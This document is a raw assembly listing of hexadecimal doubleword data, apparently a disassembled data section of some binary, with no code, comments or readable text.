dd 6D5CE003h, 9D002ACCh, 5D2BF9B5h, 2FEAAF4h, 0DDF8DFDCh
dd 9CB9D29Ch, 8EF1DC6Fh, 1062C9C3h, 14600330h, 853CDF49h
dd 0EE20D878h, 7043153h, 0E0F4A708h, 0C850BA9Ch, 0FA74D9F8h
dd 0DF8BD19h, 35E00F80h, 94BF29DDh, 41B90138h, 0CDF964h
dd 0CD97B502h, 0BC8CE68h, 546603ECh, 0CB850B4h, 9DFB2230h
dd 771470F0h, 0A0A45D2Ah, 243119D0h, 3E2050CBh, 0D04CAC9Ah
dd 0EA06F814h, 2D1950Ah, 3FE22828h, 0E85C14A8h, 0F842E479h
dd 0E61FDE80h, 30DF5477h, 0B863A8FEh, 2F3F408Ch, 0FA18809Ah
dd 46A28C0Dh, 3CE02405h, 0E4185188h, 7286AB7h, 1048F8F1h
dd 754471Ch, 0D6518794h, 3C620D78h, 0C0501D50h, 68A35FE9h
dd 0E004AE98h, 5881F8A5h, 9E8E32C7h, 4822A088h, 0D360BC21h
dd 24B1E3EBh, 1DA85C5Eh, 407829E1h, 0BAFBEF1Eh, 0E2C80A61h
dd 140E77EAh, 30DE584Ch, 0CE82505Dh, 0FD032BA3h, 8570013Ch
dd 80154F29h, 1CCFA2C8h, 0FD9D38h, 0EF3D108Bh, 1A7CFE66h
dd 5D021203h, 0F9351F39h, 0BBF2674Ah, 1432B078h, 42DCA8F4h
dd 2A13027Eh, 0FFD61A1Dh, 38CFAC40h, 0D0275D3Fh, 0BC0C61C2h
dd 89A9D1Bh, 7840603Dh, 3869A61Dh, 0A13E4AF0h, 0C83E3C35h
dd 4E02E070h, 0A24968h, 0AF306205h, 1DD82CFEh, 0E4117908h
dd 0B918419h, 2688B01h, 80D7EE44h, 22B08009h, 91FE5FF5h
dd 0FFA96028h, 51DFD5FAh, 2B25ED44h, 0B70FB0CBh, 41F2E495h
dd 0F5EE200h, 883C5C2Bh, 0E3CFDF18h, 905A8251h, 87C1428h
dd 626FB4ABh, 99FDC02h, 0A0F44894h, 0BCE4A22Ah, 0D15072EAh
dd 0A40A6DA0h, 4C9A7356h, 71B2F667h, 61D4907Fh, 4C5C9857h
dd 284C2476h, 5AB073B0h, 8C923C75h, 16309069h, 0C89A3ABCh
dd 0F0A02818h, 58988002h, 1CCE7D16h, 747E0438h, 8910601Ah
dd 2B1F9E22h, 0A02C9D48h, 0FE70C8Eh, 87F96769h, 39C82FA5h
dd 0AEB120A4h, 0B821CEA2h, 222C5925h, 9698C07Ch, 0BEE4DFAh
dd 848287F5h, 3C965C09h, 1B96310Ah, 0A28DCCD4h, 641C78A1h
dd 7123E247h, 8442802Ch, 0FD2C2AE8h, 5C0404DEh, 0B8CEF108h
dd 5B200506h, 6224897Ch, 7D009806h, 0FCDD70AFh, 0BC0E4CBAh
dd 0EE9144E0h, 214F8A4h, 0E0C8B61Fh, 169BE77h, 87F65B7Dh
dd 60C64022h, 0C30466ECh, 89C23CDDh, 0B402AC8Eh, 16B4686h
dd 0B5047048h, 5B5D3C12h, 74CB283Ch, 0C062B8D8h, 0DF095511h
dd 0F46266BCh, 0E2C37308h, 4080895h, 6CD0D0h, 0A3249E70h
dd 0DD39F3F2h, 6020656Eh, 6AFE3488h, 0E0FA00A6h, 0C490992Ch
dd 47016B07h, 0D4E49A32h, 308081E5h, 2A9914BFh, 682FB15Bh
dd 3E66540Eh, 20DE9E18h, 69720D10h, 9C4F5800h, 0C68CB2CFh
dd 0C18E00D1h, 0B7261B23h, 0E06739DEh, 1F101498h, 1F12BA4Ah
dd 0F8487FEh, 0BC945B75h, 1880663Dh, 7E24961Bh, 80A05986h
dd 8C18FFD2h, 4051B461h, 3A4287h, 84FB1C83h, 444CCA2Ah
dd 94A8E299h, 1A006A1Dh, 8346EA87h, 78A23EC4h, 27290AA6h
dd 8E24880Dh, 84CB2A16h, 9953F270h, 0CCB4004Ch, 908E831Eh
dd 79591DA2h, 7F0400A3h, 65268FAFh, 0BE99FF0Ah, 66609CD5h
dd 0E0E2C4ADh, 3E40F034h
dd 0A2107448h, 6A007F99h, 6E936B8Dh, 5417C823h, 0D2D08Ch
dd 763134F5h, 0B34E01ACh, 0E9CBF304h, 0D5C1CF6Fh, 0A2702EA9h
dd 48F4A0BBh, 0E0EAA026h, 12B406FDh, 0E0835604h, 582C7A10h
dd 351AE180h, 4B11FA82h, 63108467h, 8FB0BDFh, 8DDD801Bh
dd 1FD4C86Fh, 746818h, 2D0BD10h, 32308AEDh, 50C6300Dh
dd 0B6200E6h, 0F4DC8029h, 0DE004BBEh, 0BD2C2DD2h, 1C3ADE8h
dd 0C7516EF7h, 872ECB41h, 0A6F34A18h, 89609387h, 50FF9C7Bh
dd 255FB44h, 0D4E26D2Ch, 848F7377h, 377B6F40h, 0AF00CD6Ah
dd 0AC91B8D1h, 6962C3h, 0D6BF4E72h, 9A8BCC41h, 32C68704h
dd 98905C42h, 55DA1Dh, 107E80E9h, 0F60FD8D3h, 23E27805h
dd 0B44381E6h, 0D008265Ch, 0E58FFB9h, 5948EFD8h, 3C20E589h
dd 0E99C1715h, 873CAE01h, 88C7E813h, 6468B1CBh, 378CDFCh
dd 2A0910D2h, 0BBE0FF06h, 3615F601h, 940CF5h, 0BE09E681h
dd 84DEF114h, 88809290h, 0E900796Bh, 5E4609EAh, 53CB419h
dd 0FCCD2567h, 1EE800C7h, 848A2BFBh, 1B535F00h, 0E3F9ED7Ch
dd 3CD000Ah, 0B9922288h, 0CB0043D3h, 22C15B6h, 0F97826CCh
dd 98427450h, 43E379A6h, 35821041h, 409AA91Eh, 0BA9C3443h
dd 0E2002EAFh, 4207C6CEh, 1D371CD0h, 0F09EE8Ah, 608064CDh
dd 416B28C9h, 0E92B0186h, 9A3FBF17h, 40B108DCh, 0C200312Dh
dd 7E0F52F8h, 2D65CB2h, 736F104Fh, 0D4401B13h, 7B02A74Dh
dd 8DC79A38h, 2C634Ah, 0C3F78518h, 95C6E665h, 0D1F12100h
dd 0E502B90Eh, 60B8728Ah, 0D0BFE9F2h, 5A092069h, 91132C51h
dd 8835CC54h, 13AD23CCh, 3BB53ACBh, 2638084Ch, 272440BDh
dd 0F4E02CA7h, 14A87624h, 622EEF80h, 733A2D28h, 44B70783h
dd 43F10B5h, 80389AFCh, 912D186Eh, 6D8A0051h, 0E5CFA1Bh
dd 631E42C2h, 0AC3929FBh, 0F4286879h, 0CD004D90h, 0D2C6CC47h
dd 7AE57AAFh, 0BE140344h, 351DF975h, 9C1AC026h, 2C9D215Eh
dd 6909AB87h, 0E51F3F00h, 28364D68h, 0D9240848h, 0F8F4C000h
dd 0E6105F83h, 8684DDA8h, 0A70C0003h, 0F8CD65F8h, 0B4FCC0AEh
dd 0AD620D8Eh, 0EE2D7903h, 8325AA50h, 8F42C8DDh, 43C50018h
dd 0B214A288h, 4A4C6A9h, 9AACE300h, 0B9655398h, 78EC9176h
dd 7863582h, 0DE66FBBBh, 0A75F418Eh, 6380C3C0h, 9A006FD3h
dd 22751286h, 0B1999EF2h, 72F57088h, 3EC70086h, 326E2C66h
dd 9EF8436Bh, 0B37B10B1h, 0B620ECBCh, 0EC00D93Bh, 0E2B3F783h
dd 0B8701235h, 0D41A506Bh, 6ABB0C2Bh, 0DFB80338h, 28817500h
dd 1FC90705h, 0A2F12C1Ch, 1A30028h, 0B4B1AAA5h, 0EE378400h
dd 0FDAFE061h, 3B913A56h, 15DAD492h, 0F401BCB0h, 3C42B6FFh
dd 0E4342029h, 409A352Ch, 105C7024h, 802A27E9h, 666F60BBh
dd 0F2410AAAh, 98D4F3F8h, 0B91B101Ah, 1E7A3C1Dh, 18E2C40h
dd 0EFD4B0h, 0FC11AEB3h, 9E724D0Bh, 0F4C81200h, 448419F3h
dd 15F0C101h, 407F79D5h, 0D96B51ECh, 0DF07B1E2h, 0E9A826Ch
dd 0F0A1C013h, 75794B2h, 409158F3h, 3AAD00B8h, 100B0DAh
dd 0DBC8C19Bh, 9CDEB05h, 0C07651DEh, 0C90F9600h, 0D550A244h
dd 0D603E5F6h, 76485227h, 62BCE89Bh, 65F100B0h, 0B7770AD7h
dd 12C3F43Eh, 0E03AE9EBh, 72A3C5CAh, 0F398000Dh, 791BB669h
dd 7D004F45h, 2F33C183h, 30C66652h, 20586EF5h, 2D1E9424h
dd 755E0DD3h, 8903B82Ch, 0E039E833h, 0C46D11Fh, 54317FF9h
dd 0ED03DB30h, 5286A516h, 0E06BF373h, 0EDCC452Fh, 12CE2080h
dd 1BC17514h, 5B21FF00h, 366D0961h, 0FF8011Fh, 0A7468597h
dd 0F2808004h, 0D4424F74h, 0EA20065h, 572B1DD0h, 58015F6Dh
dd 0AA630255h, 0FAECA0E8h, 0D44C0022h, 57829364h, 0EE006FA2h
dd 8F824D6h, 3399085h, 5651FB1Fh, 6EB033B5h, 9C0E2AB1h
dd 862B3F68h, 7200F3Ch, 0E16BDC60h, 6D33D0C4h, 0A900AF88h
dd 0AAA2559Dh, 8332FEh, 19C82616h, 2CD41F4Ch, 0CAB7810Ch
dd 299FE8E4h, 882BF5h, 0A5631533h, 21424FE2h, 60B0A876h
dd 0BD141F29h, 0D6C00F0h, 2C2B9A70h, 4B858B00h, 0F7662546h
dd 93C62A08h, 36F20260h, 4D197234h, 3089A18h, 0BA95117h
dd 0AA9329FCh, 0C4A0B4A8h, 39996D06h, 75990D02h, 0D2B0A4h
dd 0EE96A8DEh, 0FC4A9E8Eh, 925FA900h, 6B94082Dh, 0EBA300AAh
dd 77411518h, 0C101AB3Bh, 0A61F010Eh, 2099E48Eh, 0FC430EBAh
dd 1E7DD70Ah, 917CED00h, 0E2EE981Bh, 0A92F0160h, 7B9670A3h
dd 0F992F5A0h, 34305621h, 0B7C111Dh, 686A9E3Ah, 644C306Ah
dd 0C0C60017h, 4D9684CBh, 57860748h, 0F0780732h, 5FFC3046h
dd 9B22E800h, 164A8518h, 0C68F00FDh, 3A0C638Ch, 0BA06DFCFh
dd 0BD3912B1h, 0D04B0079h, 34498360h, 0C2705496h, 5853CA3Ah
dd 0AE2060BAh, 3FBB8388h, 9780D6DFh, 0E39C5044h, 34026CA2h
dd 398A5E1Bh, 373C6071h, 4A560265h, 0CC5F0E46h, 8A70AC8Ch
dd 0AB02F443h, 8E7CC82Ah, 95A1C30h, 73C34BA7h, 0EE45AF84h
dd 26615387h, 0E620C905h, 4463B60h, 304B9800h, 0AC1B95C3h
dd 10A09730h, 3852849h, 27ED2B18h, 9149D50h, 9063F4h, 3C8832E9h
dd 5BE110Ch, 8F10DEB3h, 18280F01h, 0D4BBAAh, 0E20BB2C0h
dd 0F61E3204h, 2AC016D9h, 0B743E4DDh, 0FD5F378Ch, 0FE59E0D1h
dd 0B97C8492h, 50057FAh, 39A46779h, 0A8F332EAh, 0E27FA27Ch
dd 56E62133h, 0C030F49Ch, 17CAA70h, 0FF978804h, 0CD7D1E0Ah
dd 9CE040F5h, 47003553h, 0A9304A6Ah, 7125BC3h, 56EB17EEh
dd 7749408Ch, 6260CBA8h, 461EF4C0h, 0CD7BA5h, 6A18AEBAh
dd 146D6C06h, 0D56E4B00h, 0EA8CD7BEh, 0A350C048h, 95BFA6FCh
dd 0A8AB0A29h, 19854180h, 863C552Bh, 60219960h, 3F4CA2D9h
dd 1C0341EBh, 9E3AF245h, 3121B175h, 21B2671h, 0EE74F0C5h
dd 82E858BBh, 4000C945h, 6523FAB9h, 9213EB83h, 2E38006Ch
dd 0A84BED9Fh, 39011CB5h, 26DBFCBh, 4080ABF4h, 226ED044h
dd 7C3B23DCh, 4100F5D9h, 0DDEB3A70h, 0FA207Bh, 0A2A78474h
dd 0B3AF6A19h, 0C8C91B76h, 848817B2h, 20A75A1Bh, 180DE7h
dd 624E5B50h, 35327737h, 0AC490228h, 0A1A2A509h, 0FC800A2Fh
dd 93AF4B80h, 741D542h, 0E8A1D78h, 5D0DF0CDh, 4DEEA9B5h
dd 0E3FD6B00h, 0BDC14AB0h, 1DD92692h, 0A65C6010h, 0DB137CAFh
dd 4023C548h, 16210793h, 0C011E43Dh, 22EB7F1Ah, 0FD1C5501h
dd 31458A52h, 3973509Eh, 0A47728h, 0D6A954DBh, 4D9A0371h
dd 8800C87Eh, 5D911CFh, 0C135FAh, 0DD1CB47Ah, 43AB13E3h
dd 19D79503h, 901AA7F5h, 1CEBBD70h, 3F38E20h, 5CEC8A8Ch
dd 63850ED7h, 461880A7h, 69037D94h, 0A6DDFA82h, 45192B2Fh
dd 6F0FFC04h, 0E08447C9h, 5A675179h, 0B9EF0076h, 85FE142Bh
dd 7D03CCFDh, 9060A747h, 3838003Eh, 19137E46h, 5715C965h
dd 0E2343D25h, 3F4C97C4h, 0B291228Fh, 70308F80h, 3300FC8Ch
dd 86AACC5Ah, 7C4C6D2Fh, 0E4EA2837h, 34C6210Ch, 358A1004h
dd 2107BA44h, 1841F6B0h, 0BD082DD2h, 11344122h, 36BD4BEh
dd 0EEA98F33h, 0CE6AE1CBh, 228D0C41h, 0D3423608h, 30F74B14h
dd 0D2184230h, 83006265h, 4E9080FCh, 120428C8h, 67926F0h
dd 197601F8h, 21842BF4h, 0DC04086Ch, 2450EFCDh, 817815E0h
dd 0F3609888h, 73CC3210h, 0A1B42488h, 3057FF0Ch, 2E8A3CFAh
dd 0B40A247Ah, 7F040C0Ch, 0A0447793h, 388210Fh, 5DCC2441h
dd 7FFF6080h, 0E4E88467h, 619DC380h, 288719EFh, 28F1303h
dd 0BAE3D561h
dd 0A7605A38h, 590087DDh, 95D99055h, 0AF103Eh, 7F86CF8Ch
dd 0D88516C1h, 74AD3Fh, 47580CC6h, 610FD7h, 0E28CD6BCh
dd 0FB59A608h, 0C2EE9005h, 4F80219Ah, 6F4371B9h, 128388A3h
dd 18381F92h, 0D849004Fh, 0DEE676E0h, 529D03E5h, 92A21E96h
dd 0F52EA100h, 58CF54B2h, 7BCA80FBh, 4898867h, 3B3033h
dd 0C3CDDBA8h, 0FE23CE07h, 8EB488C1h, 1C4A6CCFh, 4AEC93C0h
dd 0F2288CE9h, 29005824h, 2FD9C78Dh, 30691F8Eh, 0D7505510h
dd 4B03CDBBh, 247BCC12h, 7E580005h, 11726420h, 217259A7h
dd 0CD606F00h, 0B5BDFAABh, 0A16620E1h, 4DE5A407h, 50AC5869h
dd 0B0B702A5h, 1D2E2332h, 13FE14A0h, 0F8144BD4h, 3B348275h
dd 29BD8083h, 0ED8573AEh, 28F43D13h, 0C088DF14h, 868F7A3Ah
dd 230F4A0Ch, 1B1DE660h, 0C700EF69h, 0BED8AADCh, 0D93627h
dd 0A6F7D4FEh, 4066641Fh, 9154B8C1h, 9880E244h, 1BD8C3A1h
dd 0F800EEB7h, 74EABAC7h, 5A91EBh, 5EA2FFFBh, 60A081CEh
dd 81EF6E32h, 0BC68A083h, 291E5AF4h, 40406628h, 0D1A7A05h
dd 0F06B700h, 0A412C6AFh, 22023BE0h, 8058131Eh, 721FB61Ch
dd 5E2870DFh, 8E3CC096h, 79C813ABh, 0B558E91Fh, 18568718h
dd 0A0929B70h, 0BE00296Dh, 0CC38F159h, 816ECF74h, 5D1DD40Fh
dd 0EBF37F09h, 731825ABh, 7C21AC86h, 0FDCF30F4h, 459B0B18h
dd 340D2A01h, 0D1FFD321h, 0D773E887h, 0C5844AA3h, 0F37C8007h
dd 0FC600DE6h, 597BB390h, 9C4C044Eh, 909AE047h, 0A56C4948h
dd 74B41F12h, 1820BC49h, 0D2797Ch, 6BF2A9F5h, 0E299ADE8h
dd 270733E8h, 0F925A1EDh, 0A79D28C0h, 3B489276h, 1201E373h
dd 0F54C23D3h, 7527E422h, 0A36DA0CFh, 3631CAh, 2BA7891Ch
dd 94DFC474h, 0E877AD7Ah, 3A8C6012h, 7E4C1Fh, 0A71DCCDCh
dd 28AB55h, 0DF00BC0h, 0AF8414B0h, 0A8D3DF12h, 657B1041h
dd 8BC53470h, 0E602E4h, 4175688Ah, 0F29308B5h, 0D20A1202h
dd 60317F33h, 0CB1A1Bh, 41FEF7F6h, 0A359BA08h, 2DAC1E0Eh
dd 7B7AE0A2h, 715AD51h, 0A9E05A8Ch, 2982F104h, 0F1A1C428h
dd 1B5F6200h, 0EF0A567Bh, 0C08A1BEAh, 80A07074h, 433D1914h
dd 30FD2926h, 839F1285h, 302027C4h, 92E0Eh, 22FB9682h
dd 2112F16Bh, 42E43E01h, 0C373C91Ch, 8C18BF40h, 0EEF654h
dd 2EAFEBDCh, 2314A805h, 98062933h, 9A5890ECh, 0F96C3844h
dd 360369B8h, 0FF4395E9h, 0F6C67007h, 0DB202D85h, 33BF0D63h
dd 0B7B2189Eh, 5B9403EDh, 828B3A29h, 56A0502Eh, 0B63CB300h
dd 1725B1h, 6C1581Bh, 44466961h, 3D6F0807h, 0B1C024B3h
dd 45298Eh, 0E2F98FD5h, 0E7EE6D0Dh, 92932603h, 0B8068469h
dd 0F6E02A79h, 0A130F05h, 5FE64282h, 0E306A0D2h, 1A5BB81Eh
dd 717C00F8h, 0BF031C36h, 0B70CF19Dh, 78848CC5h, 0A6AE0361h
dd 0B3CED7EFh, 910060E3h, 0EB77CD0Ah, 0E2D0AEF7h, 91B70B13h
dd 0E5839D1Ch, 8AA82019h, 0B4A0882Dh, 561ECACCh, 3DC031BCh
dd 4573EFD3h, 623605D8h, 4F0A2072h, 5C09784h, 5FC8AD6Dh
dd 1D3D6377h, 0F34200B6h, 7E3112A3h, 0E43050F7h, 0C7257F19h
dd 2CBAB738h, 930C48B1h, 0E8A99FAAh, 0BDD806C9h, 10C57631h
dd 0F24D507h, 0EFDF191Eh, 0D0E381EEh, 0EC4085FAh, 741D12h
dd 0C908677Ch, 3B51BE54h, 76AE2307h, 0D510972Bh, 618D77DFh
dd 0EC1DD92Ah, 73318329h, 3CC903Ah, 0A3416168h, 59121E1Ch
dd 34203D21h, 23CDC29h, 0D36BFE4Eh, 4C4B15D0h, 0B8EDA5E8h
dd 0D6008871h, 4CF5A256h, 612E6E1h, 0BA0E8C42h, 0E4F0519Ah
dd 31151178h, 808EBABh, 40E6F6AAh, 0EAE1D88Bh, 9601B701h
dd 0F1D54F3Eh, 416AB03Bh, 20F22914h, 927200A0h, 7085E21Eh
dd 5844077Eh, 0B0DE8A09h, 3C3D9CAEh, 308DC700h, 0B2D16294h
dd 10D8AA12h, 127E7D04h, 21E0592Ch, 0C4F4EB38h, 0A0A0201Fh
dd 0BD01CD65h, 17A3ECD3h, 9F217A5Eh, 994BE010h, 6D8C00E8h
dd 8A46856Eh, 6A49B061h, 12B70E7Ch, 8784801Ch, 0E0AE05h
dd 82EB3CE3h, 2A96D117h, 80201449h, 34D7BFA5h, 1A3A246Fh
dd 7BC98278h, 0C890F4CAh, 3018414Dh, 32106CC0h, 0FC43525Ah
dd 0EB52F906h, 7B0ED997h, 0E1BDA21Dh, 0B13F2370h, 0DE8F5081h
dd 0D8362F41h, 990C0A39h, 102D149Eh, 2FCFA15h, 32822792h
dd 3098AB81h, 0B1CA21DCh, 3F8748B9h, 0ABD0BA30h, 12576079h
dd 11DB5Bh, 71E1518h, 0C302EACh, 0D8323833h, 0A0DB00B1h
dd 0DD088F65h, 0FBF02CF9h, 1C26E38h, 1BCC96E4h, 0C9ED6D68h
dd 8384719Fh, 7936F9D2h, 6B20C3F0h, 3BBBB600h, 8D4BFFB5h
dd 906A0925h, 480E31F2h, 210D8480h, 4902B7DFh, 35D87536h
dd 0F08A5Fh, 1530435Ah, 0CEDE948h, 3008A3EDh, 0A4B14D40h
dd 2C284845h, 0C007191Dh, 89A3F01Dh, 0ABFA4BB9h, 1BE819C4h
dd 0AB59823h, 900C5C18h, 0AB94C5E0h, 2C182086h, 1F2CCDE1h
dd 16180AE7h, 0C7540A18h, 0A1900A0Ch, 0D2300818h, 81A78442h
dd 936AE30Ch, 0CBC6195h, 0AE235A08h, 1DA321B8h, 49FE980Dh
dd 3CA018F4h, 0CA0AFC4h, 0EF44EA78h, 9421FFD7h, 0FD6C1888h
dd 30DB4D02h, 0A02C6216h, 4424A0CCh, 0D9C92634h, 9C0A0110h
dd 659AC271h, 3BCB6058h, 3300A491h, 65167A5Dh, 3C5F0598h
dd 40806925h, 2F3561C4h, 0CB73F5CFh, 0B60BFC98h, 2431B7h
dd 0FE8F725Ah, 0F6ECB3h, 19D0E9F5h, 0A0A5BB9Dh, 90043B0Eh
dd 440F93B4h, 6BE70189h, 0C6DEF199h, 672B0008h, 0FDDFCA7Ch
dd 0FF0E2521h, 80F5F80Ch, 3A4E9A0Bh, 2FB78B7h, 63380A82h
dd 0F84033CEh, 3D0FD31Ch, 0A0CCD49Dh, 38CE994h, 3F0F0074h
dd 2632D896h, 2C26E651h, 0D4002B1Eh, 9E9C05F3h, 269F61Ch
dd 8FAE023Eh, 1CB36ED5h, 1EE7C2h, 712AA627h, 4502E78Dh
dd 6778EF00h, 0AFCDC7ECh, 89CB3D83h, 4F7701FDh, 3D36580Ah
dd 0E1D08018h, 0B25B638Bh, 34951C1Dh, 4A2404AFh, 0C7C0C3E7h
dd 28070B83h, 5DEDE00Dh, 0AA0582A4h, 558A0001h, 1EDEF989h
dd 33142974h, 0C15C989Bh, 0CD62434Dh, 1E313830h, 383C46h
dd 5CEA17Ah, 0B13EFDE3h, 5A1B80B0h, 0FB119BD0h, 78350004h
dd 59D76689h, 0E26026BBh, 0BFF7A388h, 0ADE10031h, 42A27FC3h
dd 0FF034486h, 0BD5A3420h, 0AF2800FDh, 0A4589FC5h, 7F00BEDDh
dd 0FE93B8B3h, 52D0ED0Ch, 0E1E158F8h, 18C51A2Ch, 0B14C2CA7h
dd 68D0F400h, 0A42DE9A3h, 431E0227h, 1158FC06h, 0E87FB480h
dd 5D24A9ECh, 0FF023089h, 81CBD052h, 0BA9B05C4h, 546FC4F8h
dd 1F7FCCE7h, 40908FEDh, 35955D41h, 1E0076FDh, 0D3588755h
dd 0E85B065Eh, 0C30C0716h, 0D0113CFCh, 314DDE09h, 7460C924h
dd 0E64D5CD8h, 0BC5B00C9h, 7937F90Ah, 0DE2AE6ADh, 7500C802h
dd 0F5CEED7h, 0EC2A3F73h, 1C933D7Eh, 59BCB900h, 0BDA9D406h
dd 0FBD7E61Fh, 0AB527700h, 0B87EC8E4h, 0DD1007A1h, 0B03A326Bh
dd 0FE879386h, 68B5E201h, 3329FDF0h, 1C8ABFCCh, 0C04526BEh
dd 101A59E1h, 0DC0CB937h, 58BA5FB4h, 0CE0C0092h, 1F8BAE9Bh
dd 0D4F12546h, 0A3F81D0Eh, 1B9D4E00h, 0C66439F1h, 71843CF5h
dd 4C396h, 8DB3AFE5h, 44AF6AA1h, 0A8F916E1h, 92048040h
dd 15F303B8h, 5B50653h, 0ADC5F1A8h, 5F3EE703h, 88C881B3h
dd 77BFE8h, 0DBB9C16Ch, 52F1D7CEh, 0F91A7000h, 86D6CFD2h
dd 440B9F0Ch, 0F7EF9700h, 3A0EED71h, 0C07011DAh, 37657C95h
dd 0BD910001h, 48A30E1Fh, 0F1F0FD27h, 17750200h, 0C5EEFBC2h
dd 52A074Bh, 779FD19Eh
dd 8006E78Eh, 0C24E896Bh, 0A75D4400h, 790C4276h, 3EB300CEh
dd 2217F0D5h, 0E3034F73h, 84E75C58h, 0A934D8D1h, 0AEBE0068h
dd 9AB2E1DDh, 0C81D0793h, 5C8085F4h, 26F1C2F0h, 0BAB600D1h
dd 3D3F331Ah, 23007BAEh, 0AC0E1DCDh, 0E66924h, 3C88A4F4h
dd 0BEE89D51h, 47AB5617h, 94D85300h, 1D29CCC5h, 9655CEh
dd 18AE1FB6h, 0D90070DBh, 0D51773C7h, 74EAF206h, 2A451F79h
dd 185E8CDh, 72920A77h, 2046E132h, 5D005063h, 0FA199368h
dd 8F3621h, 0DB69A6ACh, 13A76745h, 7B59438h, 6F493055h
dd 0F2359AC0h, 275C00FBh, 5F814BDDh, 67005422h, 42F773CAh
dd 19A5193h, 0A5F01149h, 0C4FBD6C1h, 2200AA4Eh, 76727D23h
dd 7420EF94h, 0FA1600AEh, 0BB11891Fh, 28032C95h, 0D4F3FED2h
dd 0B7E0E87Ch, 93B6004Ah, 0BD05199h, 0A900EAF7h, 2B8B3F05h
dd 3F96AAB4h, 23803179h, 0C9662997h, 99778694h, 0F0056731h
dd 0C8880A76h, 6C00519Ah, 0DF95A1CEh, 1A1B862h, 0D61E107h
dd 4BA0E2A8h, 0AD9A0E80h, 0BC443449h, 71D230CAh, 0FF29878h
dd 0E0285932h, 93C4B0C4h, 3890A4CEh, 1D0C64B7h, 923856C6h
dd 1648961Eh, 116BBE0Ch, 915E084Bh, 8A82772Fh, 1018944Ch
dd 7F11B1E3h, 0DB0473C8h, 40618013h, 91AEE5F1h, 99A70072h
dd 6BA247Ah, 9007A6C3h, 0AB67148Eh, 41FC2D70h, 0BB1B0952h
dd 3003382Ch, 77887D0Eh, 607DDD5h, 0BF99667Ah, 8622EDE0h
dd 3CFA41h, 0B834BB76h, 1F6678E1h, 1F80583Bh, 0D540CAC0h
dd 6090E0Ah, 0DE2F006Fh, 5FC7EDB1h, 453B4F5Ah, 0F55BDE9h
dd 0A06874ACh, 0B80D12C0h, 0AD2009Ch, 52984063h, 624F090Bh
dd 66DEA00Fh, 2048A8CBh, 2BFEEAA6h, 0F75BDC06h, 38CFF5h
dd 7F697477h, 0BC1C9C40h, 0AFBB710Fh, 26D2EE50h, 260B7A6h
dd 0D37DBA7Fh, 6B60A4A0h, 0E9E6106Bh, 536ADA00h, 967B6D45h
dd 0B23B0CD2h, 0D5580B28h, 8E8C1A03h, 0E8E38D1Dh, 855625h
dd 0D1125476h, 503E3FA0h, 304F300h, 0F8E31963h, 0C4450505h
dd 707109h, 9C3C2F88h, 16788135h, 9ADD5800h, 48984BE7h
dd 133800D4h, 0D715592h, 3779FDCBh, 0BC8A761Bh, 0F658DB81h
dd 7675F048h, 30190053h, 2DAB64FAh, 0CA033729h, 0C8A08D69h
dd 53609F50h, 7F6CE7h, 0ABB9C45Ah, 108FF78h, 89FC50C6h
dd 54D0059h, 395E1E62h, 0CB023D95h, 60DA525Bh, 0C5E4879Eh
dd 4D64AFA0h, 16F10CB8h, 7718B548h, 2151171Ch, 0CED4F801h
dd 50ECBC59h, 0E0C100B7h, 6F0E0D78h, 7A00029Ah, 0A56CB23Dh
dd 7B6AABh, 0FE132408h, 0B498732Dh, 0B10075ECh, 2B8D6235h
dd 0EC8AAA9h, 0B301C1E2h, 20DC999Eh, 5F8CF038h, 3FC3CE0Fh
dd 286067EDh, 0A55C6590h, 0DA3C0386h, 104BE677h, 922E3000h
dd 5472885Bh, 8662009Dh, 0A8137DECh, 0B10570C5h, 99172DF7h
dd 20264040h, 438AA916h, 8E5000AEh, 0AC84B176h, 3BFF88Ch
dd 0F8A67D78h, 55E07A32h, 622DAF2Dh, 370AE0AAh, 0E2920C61h
dd 861832FFh, 7DEF20h, 1D4975C1h, 42FAAEDFh, 8478CE2Ah
dd 121E0898h, 300437Eh, 0C052D735h, 926D2D2Fh, 320089F8h
dd 0D4DBAA8Ch, 60AB1Eh, 94C45BBCh, 1A69A480h, 0B21D7A01h
dd 0D7C6EB02h, 0C7FBD0h, 0D8FF9411h, 0C6D99EDh, 9868DA00h
dd 0ADF7509Dh, 7EA41D47h, 640F00D7h, 0B35C1208h, 0DD00057Dh
dd 0DC03E3ACh, 0C62437h, 2CDF01F2h, 0F34F96ABh, 802B9000h
dd 6CA27B93h, 452A0E05h, 3EC4021Fh, 7C378097h, 9F00081Ah
dd 40EDDCE7h, 1C32A180h, 81100427h, 0FD53A578h, 1EB1E074h
dd 0EC3F6D02h, 7C2FD4A6h, 4F03008Fh, 0BE90FBB8h, 910FCA98h
dd 0A0D58E3Dh, 89FAD46Bh, 0CB2E04D3h, 0C09BF89Eh, 9F4675ECh
dd 0C112D5Ch, 4ABB6276h, 67F701A4h, 0C067B01h, 242AECAFh
dd 18AAB330h, 38D5D06Ch, 19815F37h, 2C7FE7FEh, 844CC74h
dd 6636F700h, 101FF095h, 78CD0116h, 7BFAFC60h, 7A37C8F4h
dd 39012200h, 94F39BAAh, 0D8A4604Ah, 0DC81889h, 0B5345003h
dd 0E8560463h, 13B135Ah, 696DD6B9h, 0C87FBC7Eh, 0E7F024EBh
dd 0D5F2E500h, 834E7B43h, 1F0E8E0h, 2152F411h, 0DCA8551Ch
dd 1900448Dh, 0BB23C00Ah, 0CA82A0h, 42C4D51Fh, 5154D60Bh
dd 808A8D00h, 26B7675Eh, 0E871B6h, 713AF3D2h, 27893F43h
dd 0D320CD00h, 9315F937h, 0FA7B07BCh, 8B97BE8Fh, 3B8B9080h
dd 0A8010C89h, 0EC3CAF8Dh, 20309126h, 0C59C008Fh, 66DAC9C2h
dd 0A501C09Bh, 4056E62Fh, 0A6706A2Dh, 0C1D200C6h, 28A7C5CFh
dd 0B00156Fh, 0EE9D88F9h, 7CF640h, 96D04F95h, 8F5B1F9Bh
dd 5E560207h, 0A8E07808h, 67E2EDh, 528D0F2Dh, 49BF80EEh
dd 9A1A517Ch, 551826D9h, 0E1D7DEE1h, 0F810804Eh, 466C31A0h
dd 55F0E525h, 0E5510098h, 9F5EA582h, 31585D0Ah, 0A20B00BCh
dd 718B1AE8h, 7D5A12CAh, 0F73600A1h, 61238611h, 0AFA80407h
dd 260575Eh, 0C3F66Eh, 9F603C28h, 0DFE410B6h, 41BC2606h
dd 1028FCD9h, 6DAE5Dh, 18159E4Ah, 88E6F4B7h, 0E240C9FBh
dd 0D0B04429h, 50C76BF2h, 14F88F48h, 653E3C09h, 59828E0h
dd 0E0E8FF3Eh, 0F204BFFCh, 60C2D59Bh, 0E1035FC4h, 0D7FBCB39h
dd 93DC4F0h, 53590026h, 7E8304F2h, 0E1009534h, 737CBD8Ah
